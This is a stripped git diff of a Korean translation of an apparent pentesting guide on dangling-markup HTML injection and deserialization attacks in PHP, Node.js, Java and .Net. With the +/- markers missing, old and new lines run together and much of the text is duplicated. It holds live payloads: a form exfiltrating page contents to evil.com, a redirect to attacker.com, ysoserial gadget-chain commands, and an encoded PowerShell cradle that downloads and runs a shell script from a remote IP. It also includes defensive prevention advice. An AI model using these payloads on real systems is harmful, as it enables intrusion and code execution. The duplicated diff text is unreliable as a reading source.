<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
@ -161,9 +161,9 @@ top.window.location = "https://attacker.com/hacked.html"
</body>
</html>
```
이것은 `sandbox=' allow-scripts allow-top-navigation'`와 같은 것으로 완화할 수 있습니다.
이것은 다음과 같은 방법으로 완화할 수 있습니다: `sandbox=' allow-scripts allow-top-navigation'`
iframe은 **iframe name 속성**을 사용하여 다른 페이지에서 민감한 정보를 유출하는 데 악용될 수 있습니다. 이는 HTML 주입을 악용하여 **민감한 정보가 iframe name 속성 안에 나타나게 하는** iframe을 생성할 수 있기 때문이며, 그런 다음 초기 iframe에서 해당 이름에 접근하여 유출할 수 있습니다.
iframe은 또한 **iframe name 속성**을 사용하여 다른 페이지에서 민감한 정보를 유출하는 데 악용될 수 있습니다. 이는 HTML 주입을 악용하여 **민감한 정보가 iframe name 속성 안에 나타나게 하는** iframe을 생성할 수 있기 때문이며, 그런 다음 초기 iframe에서 해당 이름에 접근하여 유출할 수 있습니다.
```html
<script>
function cspBypass(win) {
@ -180,9 +180,9 @@ onload="cspBypass(this.contentWindow)"></iframe>
### \<meta 남용
**`meta http-equiv`**를 사용하여 쿠키 설정: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` 또는 리디렉션 수행(이 경우 5초 후): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`와 같은 **여러 작업**을 수행할 수 있습니다.
**`meta http-equiv`**를 사용하여 쿠키 설정과 같은 **여러 작업**을 수행할 수 있습니다: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` 또는 리디렉션 수행할 수 있습니다(이 경우 5초 후): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
이는 **http-equiv**에 대한 **CSP**로 ****할 수 있습니다 ( `Content-Security-Policy: default-src 'self';`, 또는 `Content-Security-Policy: http-equiv 'self';`)
이는 **http-equiv**에 대한 **CSP**로 **피할 수 있습니다** (`Content-Security-Policy: default-src 'self';`, 또는 `Content-Security-Policy: http-equiv 'self';`)
### 새로운 \<portal HTML 태그
@ -193,7 +193,7 @@ onload="cspBypass(this.contentWindow)"></iframe>
```
### HTML 누수
HTML에서 연결성을 누하는 모든 방법이 Dangling Markup에 유용하지는 않지만, 때때로 도움이 될 수 있습니다. 여기에서 확인하세요: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
HTML에서 연결성을 누하는 모든 방법이 Dangling Markup에 유용하지는 않지만, 때때로 도움이 될 수 있습니다. 여기에서 확인하세요: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks

View File

@ -18,7 +18,7 @@ PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가
- `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 이는 직렬화 중에 손실된 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다.
- `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신 호출됩니다(존재하는 경우). 이는 `__wakeup`에 비해 역직렬화 과정에 대한 더 많은 제어를 제공합니다.
- `__destruct`: 이 메서드는 객체가 파괴되기 직전이나 스크립트가 끝날 때 호출됩니다. 일반적으로 파일 핸들이나 데이터베이스 연결을 닫는 등의 정리 작업에 사용됩니다.
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 기반한 다른 작업을 수행하는 데 사용될 수 있으며, 효과적으로 객체의 텍스트 표현을 제공합니다.
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 기반한 다른 작업에 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다.
```php
<?php
class test {
@ -74,7 +74,7 @@ This is a test<br />
*/
?>
```
결과를 보면 객체가 역직렬화될 때 **`__wakeup`** 및 **`__destruct`** 함수가 호출는 것을 알 수 있습니다. 여러 튜토리얼에서 **`__toString`** 함수가 일부 속성을 출력하려고 할 때 호출된다고 하지만, 현재는 **더 이상 그렇지 않은 것 같습니다**.
결과를 보면 객체가 역직렬화될 때 **`__wakeup`** 및 **`__destruct`** 함수가 호출된다는 것을 알 수 있습니다. 여러 튜토리얼에서 **`__toString`** 함수가 일부 속성을 출력하려고 할 때 호출된다고 하지만, 현재는 **더 이상 발생하지 않는 것 같습니다**.
> [!WARNING]
> 클래스에 구현된 경우 **`__unserialize(array $data)`** 메서드가 **`__wakeup()`** 대신 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용하여 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.
@ -118,7 +118,7 @@ $ser=serialize($o);
### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc)는 PHP 역직렬화를 악용하기 위한 페이로드를 생성하는 데 도움을 줄 수 있습니다.\
응용 프로그램의 소스 코드에서 역직렬화를 악용할 방법을 **찾을 수 없는 경우가 많습니다**. 그러나 **외부 PHP 확장 코드**를 악용할 수 있을지도 모릅니다.\
응용 프로그램의 소스 코드에서 역직렬화를 악용할 방법을 **찾을 수 없는 경우가 많습니다**. 그러나 **외부 PHP 확장 코드를 악용할 수 있을지도 모릅니다.**\
따라서 가능하다면 서버의 `phpinfo()`를 확인하고 **인터넷에서 검색**(심지어 **PHPGGC의 가젯**에서도)하여 악용할 수 있는 가능한 가젯을 찾아보세요.
### phar:// 메타데이터 역직렬화
@ -172,7 +172,7 @@ python-yaml-deserialization.md
JS는 객체를 생성하기 위해 단순히 실행되는 **"마법" 함수**가 없습니다. 그러나 **`toString`**, **`valueOf`**, **`toJSON`**과 같이 **직접 호출하지 않고도 자주 사용되는** **함수**가 있습니다.\
역직렬화를 악용하는 경우 이러한 함수를 **타협하여 다른 코드를 실행**할 수 있으며(프로토타입 오염을 악용할 가능성 있음) 호출될 때 임의의 코드를 실행할 수 있습니다.
함수를 직접 호출하지 않고 호출하는 또 다른 **"마법" 방법**은 **비동기 함수**(프라미스)에서 반환된 객체를 **타협하는 것**입니다. 왜냐하면, 그 **반환 객체**를 **"then"이라는 함수형 속성을 가진 다른 **프라미스**로 **변환**하면, 다른 프라미스에 의해 반환되기 때문에 **실행**됩니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 따르십시오._
함수를 직접 호출하지 않고 호출하는 또 다른 **"마법" 방법**은 **비동기 함수**(프라미스)에서 반환된 객체를 **타협하는 것**입니다. 왜냐하면, 그 **반환 객체**를 **"then"이라는 함수형 속성**을 가진 다른 **프라미스**로 **변환**하면, 다른 프라미스에 의해 반환되기 때문에 **실행**됩니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 따르십시오._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -225,7 +225,7 @@ console.log("Serialized: \n" + payload_serialized)
```
예제에서 볼 수 있듯이, 함수가 직렬화될 때 `_$$ND_FUNC$$_` 플래그가 직렬화된 객체에 추가됩니다.
파일 `node-serialize/lib/serialize.js` 안에서 같은 플래그와 코드가 그것을 어떻게 사용하는지 찾을 수 있습니다.
`node-serialize/lib/serialize.js` 파일 안에서 같은 플래그와 코드가 이를 어떻게 사용하는지 찾을 수 있습니다.
![](<../../images/image (351).png>)
@ -233,9 +233,9 @@ console.log("Serialized: \n" + payload_serialized)
마지막 코드 조각에서 볼 수 있듯이, **플래그가 발견되면** `eval`이 사용되어 함수를 역직렬화하므로 기본적으로 **사용자 입력이 `eval` 함수 안에서 사용됩니다**.
하지만, **함수를 단순히 직렬화하는 것만으로는** 그것이 실행되지 않습니다. 왜냐하면 코드의 일부가 **우리의 예제에서 `y.rce`를 호출해야 하기 때문이며, 이는 매우 **가능성이 낮습니다**.\
어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가함으로써** 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\
다음 코드 조각에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방법에 주목하세요:
하지만, **함수를 단순히 직렬화하는 것만으로는** 실행되지 않으며, 우리 예제에서 **어떤 코드가 `y.rce`를 호출해야** 하므로 이는 매우 **가능성이 낮습니다**.\
어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가**하면 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\
다음 코드 조각에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방식을 주목하세요:
```javascript
var serialize = require("node-serialize")
var test = {
@ -254,7 +254,7 @@ serialize.unserialize(test)
### [funcster](https://www.npmjs.com/package/funcster)
**funcster**의 주목할 만한 측면은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, `console.log()` `require(something)`와 같은 명령을 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
**funcster**의 주목할 만한 측면은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, `console.log()` 또는 `require(something)`와 같은 명령을 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 전체 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
```javascript
@ -328,7 +328,7 @@ Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니
- 외부 사용자가 정의한 매개변수와 함께 사용되는 `XMLDecoder`.
- XStream 버전이 1.46 이하인 경우, 직렬화 문제에 취약한 `XStream``fromXML` 메서드.
- `readObject` 메서드와 결합된 `ObjectInputStream`.
- `readObject` 메서드와 함께 사용되는 `ObjectInputStream`.
- `readObject`, `readObjectNodData`, `readResolve`, 또는 `readExternal`과 같은 메서드의 구현.
- `ObjectInputStream.readUnshared`.
- `Serializable`의 일반적인 사용.
@ -376,8 +376,8 @@ Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중
**직렬화 테스트**
서버에서 취약한 라이브러리가 사용되고 있는지 확인하는 것만이 전부는 아닙니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\
웹 애플리케이션 전송되는 자바 직렬화 객체를 발견하면, **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하기가 더 쉬워질 것입니다.
서버에서 취약한 라이브러리가 사용되는지 확인하는 것만이 전부는 아닙니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\
웹 애플리케이션으로 전송되는 자바 직렬화 객체를 발견하면, **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 인간이 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하기가 더 쉬워질 것입니다.
### **익스플로잇**
@ -430,9 +430,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때, 실행의 출력을 리디렉션하기 위해 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없으며**, 명령을 실행하기 위해 "$()"를 사용할 수 없고, **공백**으로 구분된 **인수를** 명령에 전달할 수도 없습니다 (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, "$()"를 사용하여 명령을 실행하거나, 심지어 **공백으로 구분된 인수를 명령에 전달할 수 없습니다** (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
다음 스크립트를 사용하여 Windows와 Linux에 대한 **모든 가능한 코드 실행** 페이로드를 생성한 후, 취약한 웹 페이지에서 테스트해 보세요:
다음 스크립트를 사용하여 Windows와 Linux에 대한 **모든 가능한 코드 실행** 페이로드를 생성한 후 취약한 웹 페이지에서 테스트해 보세요:
```python
import os
import base64
@ -475,7 +475,7 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti
<type>pom</type>
</dependency>
```
**Maven을 설치하고**, **프로젝트를 컴파일합니다**:
**Maven을 설치하고**, **프로젝트를 컴파일**하세요:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
@ -512,7 +512,7 @@ private transient double margin; // declared transient
```
#### Serializable을 구현해야 하는 클래스의 직렬화를 피하십시오
특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해, 아래와 같이 항상 예외를 발생시키는 `final` `readObject()` 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 하십시오:
특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해, 아래와 같이 항상 예외를 발생시키는 `final` `readObject()` 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 해야 합니다:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -571,7 +571,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
**외부 라이브러리를 활용한 보안 강화**: **NotSoSerial**, **jdeserialize**, 및 **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스의 화이트리스트 또는 블랙리스트 작성, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가 보안 계층을 제공할 수 있습니다.
- **NotSoSerial**은 신뢰할 수 없는 코드의 실행을 방지하기 위해 역직렬화 프로세스를 가로챕니다.
- **jdeserialize**는 역직렬화 없이 직렬화된 Java 객체를 분석할 수 있게 하여 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움을 줍니다.
- **jdeserialize**는 역직렬화하지 않고도 직렬화된 Java 객체를 분석할 수 있게 하여 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움을 줍니다.
- **Kryo**는 속도와 효율성을 강조하는 대체 직렬화 프레임워크로, 보안을 강화할 수 있는 구성 가능한 직렬화 전략을 제공합니다.
### 참고 문헌
@ -590,7 +590,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
## JNDI 인젝션 및 log4Shell
**JNDI 인젝션, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예시**에 대한 내용은 다음 페이지에서 확인하세요:
**JNDI 인젝션이란 무엇인지, RMI, CORBA 및 LDAP를 통해 이를 악용하는 방법, log4shell을 이용한 공격 방법**에 대한 내용은 다음 페이지에서 확인할 수 있습니다:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -610,12 +610,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### 악용
기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면 (일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\
이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것**임을 의미합니다.
기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면(일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\
이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것임을 의미합니다**.
서비스가 취약하더라도 (사용자 입력을 안전하지 않게 역직렬화하기 때문에) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
서비스가 취약하더라도(사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악의적인 직렬화 객체를 전송하는 서비스 연결하고 공격하기 위해 생성되었습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우 작동합니다.
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악의적인 직렬화 객체를 전송하는 서비스 연결하고 공격하기 위해 생성되었습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우 작동합니다.
### 참고 문헌
@ -624,7 +624,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## .Net
.Net의 맥락에서 역직렬화 악용은 Java에서 발견되는 방식과 유사하게 작동하며, 가젯을 악용하여 객체의 역직렬화 중 특정 코드를 실행합니다.
.Net의 맥락에서 역직렬화 악용은 Java에서 발견되는 방식과 유사하게 작동하며, 가젯을 악용하여 객체의 역직렬화 중 특정 코드를 실행합니다.
### 지문
@ -635,7 +635,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
사용자 제어 하에 변수에 의해 유형이 결정될 수 있는 직렬기에 초점을 맞춰야 합니다.
사용자 제어 하에 변수에 의해 유형이 결정될 수 있는 직렬 변환기에 초점을 맞춰야 합니다.
#### 블랙박스
@ -649,18 +649,18 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
**ysoserial.net**의 주요 옵션은: **`--gadget`**, **`--formatter`**, **`--output`** 및 **`--plugin`**입니다.
- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다 (역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).
- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다 (페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 동일한 라이브러리를 사용하여 직렬화해야 합니다).
- **`--output`**는 악용을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 **인코딩**하므로 (Windows에서 기본적으로 사용되는 인코딩) 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않게 할 수 있습니다 (HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 항상 작동한다는 의미는 아닙니다)._
- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다(역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).
- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다(페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 이를 직렬화하는 데 동일한 것을 사용해야 합니다).
- **`--output`**는 악용을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**(Windows에서 기본적으로 사용되는 인코딩)로 **인코딩**하므로, 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않게 할 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 이는 항상 작동한다는 의미는 아닙니다)._
- **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크를 위한 악용을 제작하기 위해 플러그인을 지원합니다**.
#### ysoserial.net의 추가 매개변수
- `--minify`는 **더 작은 페이로드**를 제공합니다 (가능한 경우).
- `--minify`는 **더 작은 페이로드**를 제공합니다(가능한 경우).
- `--raf -f Json.Net -c "anything"` 이는 제공된 포맷터(`Json.Net`인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.
- `--sf xml`**가젯**(`-g`)을 지정할 수 있으며, ysoserial.net은 "xml"을 포함하는 포맷터를 검색합니다 (대소문자 구분 없음).
- `--sf xml`**가젯을 지정**(`-g`)할 수 있으며, ysoserial.net은 "xml"을 포함하는 포맷터를 검색합니다(대소문자 구분 없음).
**ysoserial 예시**로 악용을 생성하는 방법:
**ysoserial 예제**를 통해 악용을 생성합니다:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -679,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net**에는 각 익스플로잇이 어떻게 작동하는지 더 잘 이해하는 데 도움이 되는 **매우 흥미로운 매개변수**가 있습니다: `--test`\
이 매개변수를 지정하면 **ysoserial.net**이 **로컬에서 익스플로잇을 시도**하므로 페이로드가 제대로 작동하는지 테스트할 수 있습니다.\
이 매개변수를 지정하면 **ysoserial.net**이 **로컬에서 익스플로잇을 시도**하므로 페이로드가 올바르게 작동하는지 테스트할 수 있습니다.\
이 매개변수는 유용한데, 코드를 검토하면 다음과 같은 코드 조각을 찾을 수 있습니다 (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@ -705,39 +705,39 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\
따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지 이해하는 데 도움이 됩니다.
**이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\
따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지 이해하는 데 도움이 됩니다.
### ViewState
[**.Net의 \_\_ViewState 매개변수를 악용하는 방법**](exploiting-__viewstate-parameter.md)에 대해 살펴보세요. **임의 코드를 실행하기 위해.** 만약 **희생자 머신에서 사용된 비밀을 이미 알고 있다면**, [**코드를 실행하는 방법을 알아보려면 이 게시물을 읽으세요**](exploiting-__viewstate-knowing-the-secret.md)**.**
[**.Net의 \_\_ViewState 매개변수를 악용하는 방법에 대한 이 POST를 확인하세요**](exploiting-__viewstate-parameter.md) **임의 코드를 실행하기 위해.** 만약 **희생자 머신에서 사용된 비밀을 이미 알고 있다면**, [**코드를 실행하는 방법을 알아보려면 이 포스트를 읽으세요**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Prevention
### 예방
.Net에서 역직렬화와 관련된 위험을 완화하기 위해:
- **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오.
- **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오.
- **`JSON.Net`의 경우 `TypeNameHandling``None`으로 설정하십시오:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **`JavaScriptSerializer``JavaScriptTypeResolver`의 사용을 피하십시오.**
- **역직렬화할 수 있는 유형을 제한하십시오**, `System.IO.FileInfo`와 같은 .Net 유형의 고유한 위험을 이해하십시오. 이는 서버 파일의 속성을 수정할 수 있어 서비스 거부 공격으로 이어질 수 있습니다.
- **위험한 속성을 가진 유형에 주의하십시오**, `Value` 속성이 있는 `System.ComponentModel.DataAnnotations.ValidationException`과 같이 악용될 수 있습니다.
- **타입 인스턴스화를 안전하게 제어하여** 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하십시오. 이로 인해 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약해질 수 있습니다.
- **타입 인스턴스화를 안전하게 제어하십시오**. 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하여 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약하게 만들 수 있습니다.
- **`BinaryFormatter``JSON.Net`에 대해 사용자 정의 `SerializationBinder`를 사용하여 화이트리스트 제어를 구현하십시오.**
- **.Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고** 역직렬화기가 러한 유형을 인스턴스화하지 않도록 하십시오.
- **잠재적으로 위험한 코드를** 인터넷에 접근할 수 있는 코드와 분리하여 `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오.
- **.Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고** 역직렬화기가 러한 유형을 인스턴스화하지 않도록 하십시오.
- **잠재적으로 위험한 코드를 인터넷에 접근할 수 있는 코드와 격리하여** `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오.
### **References**
### **참고문헌**
- Java .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Java .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
## **루비**
루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로 알려져 있으며, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 과정을 역직렬화라고 합니다.
루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 역직렬화라고 합니다.
직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 목적을 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
